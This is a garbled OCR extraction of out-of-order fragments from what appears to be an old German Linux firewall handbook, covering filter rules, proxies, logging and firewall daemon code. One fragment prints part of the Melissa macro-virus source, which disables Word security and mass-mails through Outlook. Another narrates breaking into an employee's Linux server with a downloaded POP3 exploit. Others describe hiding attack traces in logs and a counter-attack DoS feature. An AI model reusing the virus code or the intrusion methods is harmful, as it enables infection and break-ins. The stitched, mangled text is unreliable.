368. ingebaut Ist LINUX fertig installiert so kann man entweder vom LINUX Host selber mit Netscape mit http localhost 98 oder von einem benachbarten Arbeitsplatzrechner mit http 10 0 0 1 98 der IP Nummer des LINUX Host auf LINUXCONF zugreifen Falls der LINUX Host nicht reagiert kann dies am IDENTD liegen Dieser lehnt alle Verbindungen zum LINUX Host ab sofern der zugreifende Client nicht in der Datei etc hosts eingetragen ist Dies ist eine Eigenart von RedHat LINUX und auch neueren anderen Distributionen F r den APACHE WWW Server auf Port 80 gilt dies ausnahmsweise nicht Ein Geheimtip ist WEBMIN ein Administrationswerkzeug mit welchem man viele UNIX e mit all seinen D monen ber den Browser mit SSL Verschl sselung sicher administrieren kann Wer sich f r WEBMIN mit deutschem Interface interessiert der mag sich auf http www little idiot de webmin umschauen Auch die Administration der Netzwerk Erstellt von Doc Gonzo http kickme to plugins Interfaces ist enthalten Nun sollte die Firewall im Netzwerk mit PING erreichbar sein Mit Hilfe eines weiteren Arbeitsplatz PC und Netscape IE l t sich die Firewall aus der Ferne einrichten und administrieren Hierzu sind allerdings noch einige Sicherheitsvorkehrungen zu beachten Ohne Verschl sselung sollte kein Pa wort ber das Netz bertragen werden Wer kein SSH ENSkip OPIE STELNET PPTP oder S Key installiert hat der sollte die Firewall nicht remote administrieren Der
369. inige Hinweise finden sich in sp teren Kapiteln Eventuell vorhandene suid Programme sollte man entweder l schen oder aber das Bit entfernen Empfehlenswert ist es stets allen Usern die keine Shell ben tigen in der Datei etc passwd anstelle der Shell bin bash den Dummy bin false einzutragen Login Versuche scheitern somit alle 10 7 Logging von Ereignissen F r das Loggen von Ereignissen ist der SYSLOGD zust ndig Fast alle Programme und D monen haben in ihrem Quellcode den SYSLOGD als Ziel der Fehlermeldungen angegeben Dieser ist sofern er mit der Option r gestartet wird auch von au erhalb hoffentlich nur aus dem Intranet zu erreichen So kann man auf der Firewall oder einem Loghost im Intranet alle Meldungen von Servern Clients und Firewall sammeln und gemeinsam auswerten beispielsweise mit argus oder logsurfer zwei sehr leistungsf higen und zudem noch kostenlosen Werkzeugen Damit die Kernel Firewall bei Verst en gegen die Regeln auch eine Eintrag in das Logfile schreibt mu man an jede Firewallregel die Option o anh ngen Man stets auch immer ber cksichtigen da auch der SYSLOGD f r Angriffe insbesondere f r buffer overflows anf llig sein kann Daher sollte man stets zwei Loghosts betreiben die Firewall und einen Logserver im Intranet Deren Logfiles sollten regelm ig abgeglichen werden um einen Angreifer mit hoher Sicherheit auch entdecken zu k nnen Jeder Angreifer ist n mlich bestrebt schnellstm glich
370. inus Firewall 1 lassen sich diese Mechanismen nachbilden Grunds tzlich ist der Systemadministrator gut beraten Microsoft Protokolle weitestgehend zu meiden Es lassen sich auch sehr gro e heterogene Netzwerke mit auf NT portierten UNIX Werkzeugen administrieren hierzu sollte man einen Blick auf Kerberos NIS YP LDAP SLAPD einem Directory Access Protokoll ahnlich NDS X 500 oder Active Directory durchaus riskieren UNIX Administrationswerkzeuge haben einen groBen Vorsprung in Sicherheit und lassen sich mit preiswerten Firewalls gut berwachen 28 1 Grundlegende Fragen f r die Erstellung einer security policy Diese Liste ist die Grundlage m gliche Sicherheitsprobleme erkennen und analysieren zu k nnen Es sind eine Reihe von Fragen gestellt die m glichst gewissenhaft beantwortet werden sollten In vielen F llen d rfte das theoretische Wissen nicht ausreichen um eine klare Anwort geben zu k nnen Hier helfen evtl die RFC s weiter Im allgemeinen ver ffentlichen alle Hersteller dort detaillierte Informationen ber Protokolle und Dienste Nach meinen Erfahrungen gibt es einige Security Firmen die z B den Policy Maker einsetzen wo man ein paar Formulare ausf llt und dieser dann vollautomatisch hunderte von Seiten Security Policy f r ein Unternehmen generiert Unternehmen wie Siemens die gro e Banken und Versicherungen ausstatten berufen sich beim Thema Sicherheit bei IT Angeboten inzwischen auf die Empfehlungen von Microso
371. ir uns eine E Mail aus dem Netzwerk senden Received by ns nobbelazzo com 8 8 4 8 6 12 id PAA00634 Wed 6 Jan 1999 15 18 19 0100 MET Message Id lt 199901061418 PAA00634 ns nobbelazzo com gt Erstellt von Doc Gonzo http kickme to plugins Received by ns nobbelazzo com via smap V1 3 id sma000480 Wed 6 Jan 99 15 18 04 0100 Received by ahmnag ahm nl nobbelazzo nl with Internet Mail Service 5 5 1960 3 id lt CM97R19X gt Wed 6 Jan 1999 15 18 04 0100 MIME Version 1 0 X Mailer Internet Mail Service 5 5 1960 3 Content Type text plain Status Und schon ist der Angreifer ein wenig schlauer Die Firma setzt also intern Microsoft Exchange 5 5 ein hat eine Firewall installiert wahrscheinlich LINUX mit dem TIS FWTK 2 0 2 1 installiert auf ns nobbelazzo com dem bastion host und Gateway zum Internet Er kennt auBerdem den internen DNS Namen des Mail Gateways welches die Arbeitsstationen als Relay benutzen Zur Vorbereitung eines automatisierten Angriffs durch ein trojanisches Pferd sind diese Informationen elementar wichtig Also weiter mit den Untersuchungen NSLOOKUP liefert folgende Informationen nobbelazzo com nameserver NS nobbelazzo com nobbelazzo com nameserver NS2 EU CONCERT NET nobbelazzo com origin NS nobbelazzo com mail addr postmaster NS nobbelazzo com serial 99010611 refresh 10800 3 hours retry 1800 30 mins expire 3600000 41 days 16 hours minimum ttl 86400 1 day n
372. iren Schutz gegen feindliche Applets Active X JAVA Skript Generische Proxies nachr stbar SOCKS Aufbau als dual homed proxy m glich split DNS Eigener TCP IP Stack Schw chen Erstellt von Doc Gonzo http kickme to plugins Relativ langsam Proxy nur f r die wichtigsten Protokolle verf gbar Generische Proxies vorhanden jedoch sind diese unsicher Ausf hrliche Authentifizierung Clustering schwer m glich Keine eigene Programmiersprache m glich Nicht f r Hispeed LAN s geeignet Teuer in Anschaffung und Unterhaltung PROXY Firewalls sind grunds tzlich in zwei Varianten zu unterteilen circuit level proxy was einem generischen Proxy nahekommt und einem application level proxy der aufgrund seiner Kenntnisse der Protokollmechanismen auch als dedicated proxy bezeichnet wird Ihnen gemeinsam ist da Anwendungsprogramme immer nur zum PROXY Kontakt aufnehmen F r einen User innerhalb eines gesch tzen Netzwerkes scheinen alle Pakete ausschlie lich vom PROXY zu stammen daher auch die Bezeichnung PROXY Stellvertreter Als einfachen PROXY k nnte man auch einen v llig ungesicherten UNIX Server definieren in den sich ein Anwender aus dem gesch tzten Netzwerk via TELNET einloggt um sich dann von diesem zu einem beliebigen Server im Internet weiter verbinden zu lassen Damit dieser Vorgang automatisch ablaufen kann werden verschiedene Mechanismen eingesetzt Einer davon ist SOCKS Beim Einsatz von SOCKS werden alle D
373. irewall out Pipe zum Schreiben define SFIDENT BIN_PREFIX sfident Pfad zum Identd define PASSWD CONF_DIR firewall passwd File f r Pa worte define DEFAULT_CONFIG CONF_DIR firewall conf Konfigurationsfile define GENERATED_CONFIG CONF_DIR firewall conf new Uberarbeites Konfigurationsfile define DEVICE dev firewall Firewall Device define MAIL MAILER Sendmailprogramm define FINGER FINGER Fingerprogramm define FINGER_ARG _ pl Optionen zu Finger define SPY_USING_RUSERS Remote User Identifikation define RUSERS RUSERS Remote User define RUSERS_ARG _ al Argumente zu Remote User define MAX_REPEATS 100 Alle 100 Ereignisse 1 Logeintrag define MAX_HOLD 2 60 Verz gerungswert f r Wiederholungen define SPY_TIMEOUT 5 60 SPY Eintr ge alle 5 Minuten define MAX_CLIENTS 5 Maximale Zahl der gleichzeitigen Clients F r viele Clients m ssen die Zahlen der TCP Verbindungen und der HASH Wert stark vergr ert werden define CLIENT_TIMEOUT 300 Wenn der Client h ngt Zum Aufbau eines Hochleistungs Firewall die fragmentierte Pakete entgegennimmt mu die Zahl der HASH Eintr ge auf hohe Werte gesetzt werden z B 15383 Warnung Bei zu hohen Werten und zuwenig Memory werden alle Verbindungen abgebrochen Die Zahl der Clients ist selber zu bestimmen Beim Einsatz in schnellen Netzwerken sollte der Timeout heruntergesetzt werden Nun sollte ein User firewall und eine Gruppe firewall angelegt werden In dem Fil
374. it dem DNS Server auf dem Service Host als sekund rem Server und einem externen DNS Server als prim rem Server erlaubt e DNS7 und DNS8 DNS Anfragen Uber TCP aus dem Internet zum DNS Servern auf dem Service Host werden durch diese Regeln zugelassen ebenso alle Antworten auf solche Fragen Desweiteren werden Zonen Transfers mit dem DNS Server auf dem Service Host als prim rem Server und einem externen DNS Server als sekund rem Server erlaubt e STD1 und STD2 Diese Regeln blockieren alle Pakete sofern sie nicht in einer der vorhergehenden Regeln erlaubt wurden 21 Firewall Tuning Die Performance von Firewalls h ngt von vielen Faktoren ab Bei Nichtbeachtung dieser Tips kann es schon einmal passieren da ein 80486er mit 16 MB RAM genauso schnell ist wie ein Pentium 350 mit 64 MB RAM Es lohnt sich also sich genauer Gedanken um den Aufbau der Firewallregeln zu machen Die Komplexit t der Firewallregeln ist der Hauptgrund f r Verluste bei der Performance Firewallregeln werden bei allen Firewalls linear durchlaufen Es gibt von einigen Herstellern Versuche die Performance durch den Einsatz eines ruleset optimizer zu verbessern Es hat sich bei Tests herausgestellt da insbesondere diese Firewalls oft fehlerhaft arbeiteten Darum haben viele Firewall Hersteller diesen Optimizer nicht mehr im Einsatz Es ist wesentlich einfacher sich vor dem Aufstellen der Firewall Regeln zu berlegen ob eventuell die Zahl der Regeln sich ver
375. it dem Schl sselwort notification eingeleitet Jeder Abschnitt beginnt mit dem Schl sselwort level gefolgt von einer level number und einem Doppelpunkt Es k nnen verschiedenste Aktionen zu einer Liste zusammengefa t werden Folgende Aktionen sind m glich e message beschreibt einen zus tzlichen Text der in das Logfile geschrieben wird Wenn die Nachricht mehrere Zeilen lang ist dann mu diese durch ein Anf hrungszeichen am Ende der ersten Zeile markiert und in der n chsten Zeile fortgef hrt werden Mehrere Nachrichten m ssen dann mit mehreren if Abfragen erzeugt werden e syslog sendet Nachrichten an den syslogd auf der Firewall um einen zus tzlichen Eintrag neben dem obligatorischen firewalllog File vorzunehmen Dies ist dann wichtig wenn ein Abgleich zwischen mehreren Firewalls ber logsurfer oder argus erfolgen soll e report kopiert ein Log Eintrag in das firewall report File in Erg nzung zu dem obligatorischen firewall log file e mail sendet eine e Mail mit den Nachrichten an die angegebene e Mail Adresse Wenn keine Adresse eingetragen ist wird die e Mail an dijenige Adresse gesendet die als mail_default im Quellcode der Firewall definiert wurde e spy startet einen counter intelligence Angriff z B back finger oder einen DoS Angriff Die spy Funktion sollte stets zusammen mit der mail Funktion eingesetzt werden damit der User die Resultate unverz glich als e Mail Erstellt von Doc Gonzo http kickme to plu
376. it des Verbindungsaufbaues keine Angreifer in das Intranet vordringen Wie aktiviert man jedoch weitere Firewallregeln nach dem Verbindungsaufbau Im Grunde liegt das ganze Geheimnis in der Datei etc ppp ip up die identisch mit der Datei etc ppp ip down ist Hier m ssen die entsprechenden Firewallregeln in der Sektion ip up und ip down eingef gt bzw ver ndert werden Hier ein Beispiel BASENAME gt gt basename 0 INTERFACE 1 DEVICE 2 SPEED 3 LOCALIP 4 REMOTEIP 5 if z REMOTEIP then Erstellt von Doc Gonzo http kickme to plugins echo Usage 0 lt INTERFACE gt lt DEVICE gt lt SPEED gt lt LOCALIP gt lt REMOTEIP gt exit 1 fi case INTERFACE in ippp etc rc config find the device found 0 for I in NETCONFIG do eval NETDEV NETDEVS I if S NETDEV INTERFACE then found 1 break fi done if found eq 0 then echo Device INTERFACE not configured in etc rc config exit 1 fi eval IFCONFIG IFCONFIGS I DEST grep v etc route conf grep INTERFACE awk print 1 DEFAULT grep v etc route conf grep default awk print 2 echo ok NETDEV NETDEV IFCONFIG IFCONFIG echo DEST DEST DEFAULT DEFAULT case BASENAME in ip up default deny ipfwadm I p deny ipfwadm O p deny flush ipfwadm I f ipfwadm O f accept dns ipfwadm O a accept P udp S 0 0 53 1024 65535 D 0 0 53 W INTERFACE
377. it m glich Von Interesse ist auch die M glichkeit ber die Winsock 2 1 mit Hilfe diese Visual Basic Code auf die Netzwerkkarte der Arbeitsstation direkt zuzugreifen um z B DoS Angriffe auszuf hren oder Pa worte aus dem Netzwerk zu ersniffen Private Sub Document_Open On Error Resume Next If System PrivateProfileString HKEY_CURRENT_USER Software Microsoft Office 9 0 Word Security Level lt gt Then CommandBars Macro Controls Security Enabled False System PrivateProfileString HKEY_CURRENT_USER Software Microsoft Office 9 0 Word Security Level 1 amp Else CommandBars Tools Controls Macro Enabled False Options ConfirmConversions 1 1 Options VirusProtection 1 1 Options SaveNormalPrompt 1 1 End If Dim UngaDasOutlook DasMapiName BreakUmOffA Slice Set UngaDasOutlook CreateObject Outlook Application Set DasMapiName UngaDasOutlook GetNameSpace MAPI If System PrivateProfileString HKEY_CURRENT_USER Software Microsoft Office Melissa lt gt by Kwyjibo Then If UngaDasOutlook Outlook Then DasMapiName Logon profile password For y 1 To DasMapiName AddressLists Count Set AddyBook DasMapiName AddressLists y x Set BreakUmOffASlice UngaDasOutlook Createltem 0 For oo 1 To AddyBook AddressEntries Count Peep AddyBook AddressEntries x BreakUmOffASlice Recipients Add Peep x x 1 If x gt 2 Then 00 AddyBook AddressEntries Count
378. ithmen und mit welchen Standard Pa worten sich Windows NT Server untereinander austauschen Das Problem wird insbesondere dann interessant wenn es darum geht die Security Policy umzusetzen Angenommen jede einzelne Abteilung eines Unternehmens wird mit einer eigenen LINUX Firewall ausgestattet und kann selber bestimmen wer worauf Zugriff haben darf Das komplexe RPC Protokoll mu dann ber die Firewall hinweg bertragen werden Welche Ports werden von Windows NT ge ffnet welche Protokolle werden wie bertragen und wann k nnen Ports wieder geschlossen werden Alle diese Fragen sollten Sie im mitgelieferten Handbuch Ihres Betriebssystems und Ihrer Firewall finden Ein weiteres Problem betrifft SQL Datenbanken welche mit Firewalls gesichert werden m ssen In vielen F llen ist die Vertraulichkeit der Daten f r Unternehmen berlebenswichtig Leider hat es in der Vergangenheit mit u a auch mit ORACLE und MSQL vor kurzem F lle von Buffer Overflows gegeben soda wichtige Daten des Unternehmens ins Internet verschwunden sind Welche Parameterl ngen kann der Firewall Proxy abfangen um Buffer Overflows zu vermeiden Wird die Syntax der SQL Statements auf Zul ssigkeit gepr ft Wie man schon erahnen kann mu mit kommerziellen Firewalls und Betriebssystemen erheblich kritischer umgegangen werden Erstellt von Doc Gonzo http kickme to plugins Schauen Sie sich auf der Site http www netcraft com security diary html und achten Sie
379. itoren die nicht I Node Echt sind w rden diese Datei zuerst kopieren und dann ffnen w hrend der LOG D mon flei ig in die andere Datei schreibt Beim speichern wird die originale Datei umbenannt und gel scht Danach wird die ver nderte Kopie in die originale Datei umbenannt Diese neue Datei besitzt dann eine neue I Node Nummer die der LOG D mon nicht automatisch erkennt Dieser schreibt flei ig in die Datei wie auch immer diese nun hei t hinein Erst nach einem Neustart w rde er die Ver nderung der I Node Nummer bemerken und mit dem Schreiben der LOG Datei fortfahren Hackerwissen APAPAPAP AP und den SYSLOGD wieder weiterlaufen lassen In den Logfiles werden sich keinerlei Spuren eines Angriffs finden lassen Da der Systemadministrator keinerlei Informationen dar ber erh lt ob ein User im Netzwerk nun diesen exploit oder nur normal seine E Mails abgeholt hat kann auch ein IDS System nichts ungew hnliches entdecken Diese Firewall h tte genauso ein NT Server mit WINGATE WINPROXY oder SAMBAR sein k nnen Das Schema w re dasselbe gewesen Angriffe auf LINUX WWW Server Ein Unternehmen besitzt einen Multi Homed Internet Server im Netz auf dem sich hunderte Kundensites befinden Ich als Systemadministrator stellte an einem Wochenende nach der Fu ball WM 1998 es war der 12 07 1998 fest da ich aus Erstellt von Doc Gonzo http kickme to plugins irgendwelchen Gr nden nicht mehr im Besitz des Admi
380. ittweise es werden Pakete in absteigender Paketgr e mit dem dont fragment bit gesetzt Der Router w rde dann zur ckmelden fragmentation needed Wenn keine Fehlermeldung mehr kommt dann ist die maximale Gr e f r ein Fragment erkannt worden Werden also diese Fehlermeldungen gesperrt dann ist mit Fehlern bei der bertragung oder mit Einbr chen der Performance zu rechnen Erstellt von Doc Gonzo http kickme to plugins Verbindungen zu DNS Nameservern Beim Sperren von DNS Anfragen sollte man wissen da die DNS Server nicht immer die Daten ber UDP austauschen Wenn die Paketgr e 512 Byte berschreitet dann wird eine TCP Verbindung hergestellt die gr ere Datenmengen sicher bertragen kann Hierzu wird der Port 53 TCP ben tigt Auch wenn DNS Anfragen bereits ber die Firewall hinweg funktionieren bedeutet das nicht da auch komplexere Zonentransfers ber UDP abgewickelt werden k nnen Wenn DNS Anfragen stets an dieselbe externe Quelle gerichtet sind Beispielsweise den DNS Server des Providers dann sollte dieser in der nameserver Zeile der Datei etc resolv conf eingetragen sein oder falls ein caching nameserver im forward mode aktiviert wurde dann ist nur eine TCP Regel erforderlich FTP Probleme Das klassische Problem beim Filtern von FTP ist da FTP zwei v llig unterschiedliche Modi besitzt active mode und passive mode auch PASV genannt WWW Browser melden sich standardm ig im passiven Modus an D
381. iviert Sobald das Filterdevice geschlossen wird wird der Zeiger auf die Filterfunktion wieder auf die dummy Filterroutine gesetzt Weitere Details sind in dem Abschnitt Start und Kontrolle des Firewalls beschrieben Erstellt von Doc Gonzo http kickme to plugins 14 25 Konfiguration der Filterfunktionen durch das Firewall Device Der vorhergehende Abschnitt handelte ber das Firewall Device Das Device ist im brigen auch in der Lage Schreibzugriffe zu handeln Alle Schreibzugriffe werden als Befehle f r die Filterfunktion interpretiert Um ein Durcheinander in den Filtertabellen zu vermeiden werden alle Schreibzugriffe nach einer magischen Signatur durchsucht Wenn diese nicht der Fall w re so k nnten die Filtereinstellungen per Zufall ver ndert werden Der Firewall D mon erzeugt und l scht Filterregel indem er einfach in das Firewall Device hineinschreibt So ist es m glich da Firewalls im Cluster sich ber die dynamischen und statischen Filterregeln austauschen Rekonfiguration der Filterfunktion Der Filter kann von au en durch das SFC Userprogramm und die JAVA Applets die Filterfunktion umkonfigurieren Hierzu wird das Firewall Device im write only Modus ge ffnet W hrend des Datentransfers wird die Verarbeitung der eintreffenden Pakete eingestellt um eine Vermischung mit bestehenden Regeln zu vermeiden Auslesen von aktiven Filterregeln Der User mu stets ber die gerade aktivierten Filterregeln informie
382. izierung abgesichert aber auch diese lassen sich ersniffen genauso wie der community string in SMNP oder dem Telnet Pa wort Router sollten alle via WWW Browser mit SSL Verschl sselung administrierbar sein Man sollte die Wichtigkeit der Sicherheit und Nichtmanipulierbarkeit von Routern niemals untersch tzen sie bilden das R ckgrat s mtlicher Kommunikationswege im Unternehmen Da inzwischen frei verf gbare Angriffswerkzeuge im Internet existieren sollte man auch die Gefahr eines DoS Angriffs durch interne Mitarbeiter ber cksichtigen Schlie lich kann die Umprogrammierung eines Routers im Unternehmen einem Angreifer s mtliche Pa worte der Server eines anderen Unternehmenszweiges in die H nde spielen DoS Angriffe gegen Filter Techniken Themen e Gefahren von JAVA Active X Viren e Fluten von Filtern mit ZIP Files e magic bytecodes und Abst rze von Filtern Deaktivierung von Filtern e Irref hrung von Systemadministratoren In j ngster Zeit werden Firewalls mit Filtern gegen Active X und JAVA sowie gegen Viren ausgeliefert Uber die Gefahren findet sich ein guter Beitrag beim http www bsi bund de Erstellt von Doc Gonzo http kickme to plugins Einige dieser Filter sortieren alles aus andere Pr fen in einer Sicherheitsumgebung anhand einiger Kriterien ob ein solches Programm gef hrlich ist und geben es erst dann frei Diese Filter existieren sowohl f r Firewalls als auch f r den Desktop Rechner Abgesehen davon d
383. k nnen kann eine dynamische Liste von Hosts jeder einzelnen Variablen zugeordnet werden Der Eintrag in das Array wird dann zu dem Kopf der Liste dem Rooteintrag In jedem Rooteintrag wird das Adressfeld nicht ber cksichtigt Es enth lt aber die Summe aller Eintr ge in der Hostliste und die Timeout Werte der jeweils am l ngsten lebenden Eintr ge darin Wenn also ein Variable mit einem Timeout versehen wird firewall conf wird der Wert 0 zur ckgegeben Hierbei ist im Gegensatz zu den dynamischen Filterregeln kein alarm oder Signal erforderlich Wenn ein neues Element an die Liste der Hosts angef gt wird wird die Liste zuerst nach Elementen durchsucht die veraltet sind Wenn ein solches gefunden wird wird dieser Eintrag aufgefrischt andernfalls wird ein neuer angelegt Diese Funktionen befinden sich in dem File sf_daemon c 14 26 Counter Intelligence Die Files sf_spy c enth lt den Code f r die counter intelligence F higkeiten der Firewall Diese Funktion kann die Zuverl ssigkeit der Firewall steigern Der Firewall D mon berpr ft die IP und den DNS Namen des zugreifenden Hosts Uber diesen double reverse lookup kann die Firewall berpr fen ob ein Host gespoofte vorget uschte IP Nummern Adressen benutzt Diese gespooften Adressen sind typisch f r Cracker oder Fehlkonfigurationen Hierzu kann der Firewall D mon weitere Untersuchungen am zugreifenden Host vornehmen Ein verd chtiger Host wird dann alle SPY_TIMEOUT Minuten
384. k nnen quer ber das Internet Backup Server Secondary DNS Server bestimmt werden Sie sind f r die Aufl sung der Namen in IP Nummern und umgekehrt zust ndig Es gibt zwei Arten von Netzwerk Datenverkehr einfache Lookups Name gt IP Nummer und reverse Lookups IP Nummer gt Name so wie Zonentransfers Bei Zonentransfers wird entsprechend der Hierarchie der DNS Server Informationen ber Domains ber Knoten und Aste hinweg aktualisiert In den Daten sind alle Informationen ber Domains Ansprechpartner Mail Server und andere Server der Domains enthalten W hrend reverse Lookups zumeist ber UDP abgewickelt werden au er bei IBM Servern finden Zonen Transfers haupts chlich ber TCP statt DNS allgemein Domain Name Services DNS Lookups werden aus Geschwindigkeitsgr nden meist ber UDP abgewickelt Wenn bei der bertragung mit UDP Daten verlorengehen wird der Lookup Vorgang mit TCP wiederholt Die Zonen Transfers von DNS finden ber TCP statt Regel Richtung Protokoll Quellport Zielport Erg nzungen 1 ein UDP gt 1023 53 Erstellt von Doc Gonzo http kickme to plugins 2 aus UDP 98 gt 1023 3 ein TCP gt 1023 53 SYN ACK 4 as TCP 53 10927 ACK 5 as UDP gt 1023 53 6 en UDP 53 gt 1023 7 aus TCP 72103 53 SYN ACK 8 en TCP 53 gt 1023 ACK 9 en UDP 53 53 10 aus UDP 53 53 11 ein TCP gt 1023 53 SYN ACK 12 aus TCP 53 gt 1023 ACK 13 aus TCP gt 1023 53 SYN ACK 14 en TCP 53 gt 10 3 JACK A
385. k dar ber ob ein trojanisches Pferd aktiviert ist und was es macht Ein Eintrag in das Autostartverzeichnis erm glicht es dem Angreifer stets zu gew hnlichen B rozeiten sein Unwesen im Netz des Unternehmens im Internet zu treiben Welche Programme k nnen trojanische Pferde enthalten Bildschirmschoner Bildschirmschoner http www bildschirmschoner de sind beliebte trojanische Pferde Da sie aber Geschmackssache sind kann ein Angreifer nicht damit rechnen da die Zielperson einen bestimmten auf seinem Arbeitsplatzrecher installiert Aufs tze auf den Internet Explorer NeoPlanet z B ist ein Aufsatz auf den Internet Explorer welcher ein sch neres Design verspricht Nachteil Dieser Browser verr t Informationen von der Festplatte und sendet diese an seinen Homeserver Welche dies sind ist leider unbekannt da die Informationen verschl sselt bertragen werden Eine weitere unangenehme Eigenschaft ist da dieser Browser eigenst ndig die ISDN Leitung in das Internet ffnet also sowohl Telefonkosten verursacht als auch eigenst ndig Informationen von der Festplatte in das Internet versendet Das k nnten z B die schlecht verschl sselten Pa wort Dateien des WS FTP sein als auch die PWL Dateien in welchen die Zugangspassworte zum Server stehen Ein ideales Werkzeug da ein Angreifer davon ausgehen kann da das Programm l ngere Zeit auf der Arbeitsstation l uft Mit Hilfe des von Microsoft angebotenen Kit s mit welche
386. k gefunden Immer wenn ein X 400 Server ausfiel dann wurden f r diese Zeit alle Mails in das Internet versendet Das waren an einigen Tagen mehrere Gigabyte Darunter nat rlich auch u erst vertrauliche Informationen die ich selbstverst ndlich sofort gel scht habe Ich erhielt in der Folge noch weitere Trouble Tickets worin sich Systemadministratoren dar ber austauschten warum einige E Mails den Empf nger nicht erreichten Ich sendete an diese freundlicherweise eine E Mail worin ich nochmals darauf hinwies da es wohl recht merkw rdig sei wenn sogar die Trouble Tickets mit sicherheitsrelavanten Informationen bei mir landeten Diese Mails blieben ohne Antwort Es war inzwischen Januar 1998 als ich die ganze Geschichte einem Reporter eines K seblattes bergab der dieses Problem dann netterweise als Unfall schilderte was es im Grunde auch war Auch die EDV Leitung dieser Elektrofirma war unterrichtet also dachte ich da das Problem behoben sei Inzwischen war es Januar 1999 als mich der Schlag traf In meinem Briefkasten lag ein Winword Dokument von einem Mitarbeiter von Sehnix an eine bekannte Bank bezeichnen wir diese einmal mit K Bank worin dieser detailliert das neue Sicherheitskonzept f r das weltweite Netzwerk unter Windows NT mit Backoffice beschrieb Der Inhalt war auch f r mich sehr aufschlu reich in so fern als da dieser sich hinter den Sicherheitsempfehlungen von Microsoft versteckte und sein ganzes Konz
387. kann aber ganz praktisch sein weil man nicht alle Clients umkonfigurieren mu wenn man z B verschiedene Netzwerke auch das Internet ber eine Standleitung anbindet e IP ICMP masquerading unterst tzt masquerading f r ICMP Protokolle wie z B PING Abschalten insbsondere beim Einsatz von LINUX als ISDN Router da ansonsten LINUX h ufiger als n tig die Verbindung aufbaut e IP ipautofw masquerade support erlaubt masquerading f r Protokolle wie z B PPTP f r die es keine offizielle Unterst tzung gibt Abschalten e IP ipportfw masquerade support erlaubt allgemein das forwarding von Paketen ber Netzwerkkarten hinweg Abschalten e IP ipmarkfw masquerade support erlaubt das forwarding von Paketen mit Masquerading z B auch f r Subnetze Hierzu mu die Option IP use FWMARK aktiviert sein Abschalten e IP Kernel level autoconfiguration sollte ausgeschaltet werden da ansonsten jemand von au erhalb die ARP Tabellen einsehen kann Etwas tricky aber es geht e Syn cookies sollte man ausschalten zumal diese einen Angriff nur dann verhindern wenn der Angreifer mit LINUX und aktivierten SYN Cookies arbeitet Ansonsten sind diese f r DoS anf llig e IP Drop source routed frames sollte obligatorisch eingeschaltet sein Erstellt von Doc Gonzo http kickme to plugins e Allow large windows erlaubt einen DoS Angriff in schnellen Netzwerken gr er nx100 MBit ansonsten ist dagegen nichts zu sagen die Performance wird
388. kannte aus dem Unternehmen mit ein paar Witzen von dieser Seite vorab und dem Link auf diese Seite hintendran Ich schaue mir die Log Files an Niemand sonst kennt diese WWW Seite http www little idiot de bse Nach ein paar Stunden sehe ich ein paar Hits Mit meinem automatischen Skript erfahre ich da die IP Nummer zu einem holl ndischen Provider geh rt RIPE machts m glich Die deutschen Mitarbeiter dieses holl ndischen Chemieunternehmens sind also ber eine Standleitung mit der Zentrale in Holland verbunden und nutzen deren Internet Gateway Ich scanne dieses Gateway mit dem ISS Security Scanner und stelle fest da eine gut installierte Firewall dahintersteckt In den folgenden Tagen sehe ich mehrere Abrufe die alle ber dieses Gateway laufen Doch pl tzlich bemerke ich in den Log Files eine andere IP Nummer die auch zu einem holl ndischen Provider geh rt Ich scanne sofort und bemerke da dieses ein LINUX Server ist der eine veraltete Linux Version tr gt auf welcher auch keine Firewall aktiv ist Der Scanner meldet eine Sicherheitsl cke im POP3 D mon Ich setze einen Dauer PING auf diese IP Nummer damit das Modem nicht auflegt und suche schnell den passenden EXPLOIT auf http www rootshell com installiere diesen und starte ihn Ich befinde mich nun in einer SHELL auf einem unbekannten LINUX Server Mein Instinkt sagt mir jedoch da dieser Server zu einem Mitarbeiter des Chemieunternehmens geh rt der seinen eige
389. ken sind 15 6 Anzeige der g ltigen Regeln Kommen wir nun zu dem wichtigsten Abschnitt der berwachung der Firewallregeln Hier zun chst ein Beispiel Erstellt von Doc Gonzo http kickme to plugins sfc show zeigt alle aktiven Regeln und Variablen an Active rules 1 line 27 dynamic timeout Aug 03 15 15 03 block notification level 0 from 193 194 195 196 mask 255 255 255 255 2 line 10 static block notification level 7 protocol RIP Diese Ausgabe mag etwas verwirrend erscheinen Wer aber taglich die Firewall Uberwacht wird es mit hunderten von aktiven statischen und dynamischen Regeln zu tun haben Hier den berblick zu bewahren ist nur m glich wenn die Schreibweise so kurz und bersichtlich ist wie m glich Nun zu den Erl uterungen In der ersten Spalte wird die laufenden Nummern der Regeln angezeigt Genau in dieser Reihenfolge werden die Regeln in der Firewall selber abgearbeitet Darauf folgen die entsprechende Zeilennummer in dem Konfigurationsfile und dann der Typ der Regel dynamic Ist die Regel eine dynamische Regel wird zus tzlich noch der timeout Wert angegeben Die zweite Zeile zeigt an was der Filter tun w rde wenn diese Regel zutreffen w rde block accept reject und gibt auch den entsprechende notification level aus Die folgenden Zeilen sind optional Wenn der Protokolltyp die Herkunft des Paketes oder das Ziel bestimmt werden konnten werden diese Informationen angezeigt Es w
390. kip SSH ist der Betrieb jedoch gefahrlos m glich Regel Richtung Protokoll Quellport Zielport Erg nzungen ein TCP lt 1023 513 SYN ACK aus TCP 513 lt 1023 ACK aus TCP lt 1023 513 SYN ACK ein TCP 513 lt 1023 ACK ein TCP lt 1023 514 SYN ACK aus TCP 514 lt 1023 ACK ein TCP lt 1023 lt 1023 ACK aus TCP lt 1023 lt 1023 SYN ACK aus TCP lt 1023 514 SYN ACK 10 ein TCP 514 lt 1023 ACK 11 aus TCP lt 1023 lt 1023 ACK 12 ein TCP lt 1023 lt 1023 SYN ACK Anmerkungen zu den Regeln vo_SnsauPrum 1 Eingehendes rlogin Client an Server ACK gesetzt au er im ersten Paket 2 Eingehendes rlogin Server an Client ACK gesetzt 3 Ausgehendes rlogin Client an Server ACK gesetzt au er im ersten Paket 4 Ausgehendes rlogin Server an Client ACK gesetzt 5 Eingehendes rsh rcp rdump rrestore rdist Cient an Server ACK gesetzt au er im ersten Paket 6 Eingehendes rsh rcp rdump rrestore rdist Server an Client ACK gesetzt 7 Eingehendes rsh Fehlerkanal vom Client zum Server ACK gesetzt 8 Eingehendes rsh Fehlerkanal vom Server zum Client ACK gesetzt au er im ersten Paket 9 Ausgehendes rsh rcp rdump rrestore rdist Client an Server ACK gesetzt au er im ersten Paket Erstellt von Doc Gonzo http kickme to plugins 10 Ausgehendes rsh rcp rdump rrestore rdist Server an Client ACK gesetzt 11 Ausgehendes rsh Fehlerkanal vom Client zum Server ACK gesetzt 12 Ausgehendes rsh Fehlerkana
